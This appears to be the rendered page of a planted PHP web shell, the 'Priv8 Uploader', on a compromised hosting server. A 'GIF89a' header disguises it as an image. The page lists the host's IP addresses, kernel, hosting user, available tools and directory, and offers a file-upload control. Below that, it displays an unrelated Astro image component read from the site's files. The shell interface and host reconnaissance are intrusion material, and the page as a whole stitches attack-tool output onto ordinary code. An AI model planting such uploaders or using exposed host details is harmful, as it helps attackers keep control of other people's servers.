GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/ |
Upload File : |
---
/**
* EmDash Image component
*
* Renders images with responsive srcset for CDN providers that support it.
* Uses the provider's getSrc function for URL-based image transformations.
*
* Usage:
* ```astro
* ---
* import { Image } from "emdash/ui";
* ---
* <Image image={post.data.featured_image} />
*
* <!-- With overrides -->
* <Image image={post.data.featured_image} class="hero" />
* ```
*/
import type { MediaValue } from "../fields/types.js";
import type { HTMLAttributes } from "astro/types";
import type { ImageEmbed } from "../media/types.js";
import { getMediaProvider } from "../media/provider-loader.js";
import { buildRenderMediaUrl } from "../media/url.js";
// Standard responsive breakpoints
const BREAKPOINTS = [640, 750, 828, 960, 1080, 1280, 1600, 1920];
interface Props extends Omit<
HTMLAttributes<"img">,
"src" | "width" | "height"
> {
/** Image value from content field or media library */
image: MediaValue | string | undefined | null;
/** Override alt text (uses image.alt by default) */
alt?: string;
/** Override width (uses image.width by default) */
width?: number;
/** Override height (uses image.height by default) */
height?: number;
/** Priority loading (disables lazy loading) */
priority?: boolean;
}
const { image, alt, width, height, priority, ...attrs } = Astro.props;
// Normalize string URLs to object form
function normalizeImage(
img: MediaValue | string | undefined | null
): MediaValue | null {
if (!img) return null;
if (typeof img === "string") {
return { id: "", src: img };
}
return img;
}
/**
* Build the URL for a local image. Prefers `meta.storageKey`; falls back to
* the internal proxy with `img.id` when no storage key is available.
*/
function buildLocalImageUrl(img: MediaValue): string {
return buildRenderMediaUrl(Astro.locals.emdash?.getPublicMediaUrl, {
storageKey: img.meta?.storageKey as string | undefined,
id: img.id,
});
}
/**
* Generate srcset using provider's getSrc function
*/
function generateSrcset(
getSrc: NonNullable<ImageEmbed["getSrc"]>,
maxWidth: number,
aspectRatio?: number
): string {
return BREAKPOINTS.filter((w) => w <= maxWidth * 2) // Include up to 2x for retina
.map((w) => {
const h = aspectRatio ? Math.round(w / aspectRatio) : undefined;
return `${getSrc({ width: w, height: h })} ${w}w`;
})
.join(", ");
}
const img = normalizeImage(image);
// Determine final dimensions (props override image metadata)
const finalWidth = width ?? img?.width;
const finalHeight = height ?? img?.height;
const finalAlt = alt ?? img?.alt ?? "";
const aspectRatio =
finalWidth && finalHeight ? finalWidth / finalHeight : undefined;
// Get the image source URL and srcset
let src = "";
let srcset: string | undefined;
let sizes: string | undefined;
if (img) {
const providerId = img.provider ?? "local";
if (providerId === "local" || img.src) {
// Local provider or direct src URL
src = img.src || buildLocalImageUrl(img);
} else {
// External provider
try {
const provider = await getMediaProvider(providerId);
if (provider) {
const result = provider.getEmbed(img, {
width: finalWidth,
height: finalHeight,
});
const embed = result instanceof Promise ? await result : result;
if (embed.type === "image") {
src = embed.src;
// Generate srcset if provider supports dynamic sizing
if (embed.getSrc) {
// Use image width, or default to 1200 for responsive images
const maxWidth = finalWidth || 1200;
srcset = generateSrcset(embed.getSrc, maxWidth, aspectRatio);
sizes = finalWidth
? `(min-width: ${finalWidth}px) ${finalWidth}px, 100vw`
: "100vw";
}
}
} else {
console.warn(`[EmDashImage] Provider not found: ${providerId}`);
}
} catch (error) {
console.error(
`[EmDashImage] Failed to get embed for image ${img.id}:`,
error
);
}
// Fallback to local URL if provider failed
if (!src) {
src = buildLocalImageUrl(img);
}
}
}
// Build placeholder background style
const blurhash =
typeof image === "object"
? (image?.meta?.blurhash as string | undefined)
: undefined;
const dominantColor =
typeof image === "object"
? (image?.meta?.dominantColor as string | undefined)
: undefined;
let placeholderStyle = "";
if (blurhash) {
const { blurhashToImageCssString } = await import("@unpic/placeholder");
placeholderStyle = blurhashToImageCssString(blurhash);
} else if (dominantColor) {
placeholderStyle = `background-color: ${dominantColor};`;
}
const baseStyle = aspectRatio
? `aspect-ratio: ${aspectRatio}; max-width: 100%; height: auto;`
: "max-width: 100%; height: auto;";
const imgProps: Record<string, unknown> = {
src,
srcset,
sizes,
width: finalWidth,
height: finalHeight,
alt: finalAlt,
loading: priority ? "eager" : "lazy",
decoding: "async",
style: placeholderStyle ? `${baseStyle} ${placeholderStyle}` : baseStyle,
...attrs,
};
---
{img && src ? <img {...imgProps} /> : null}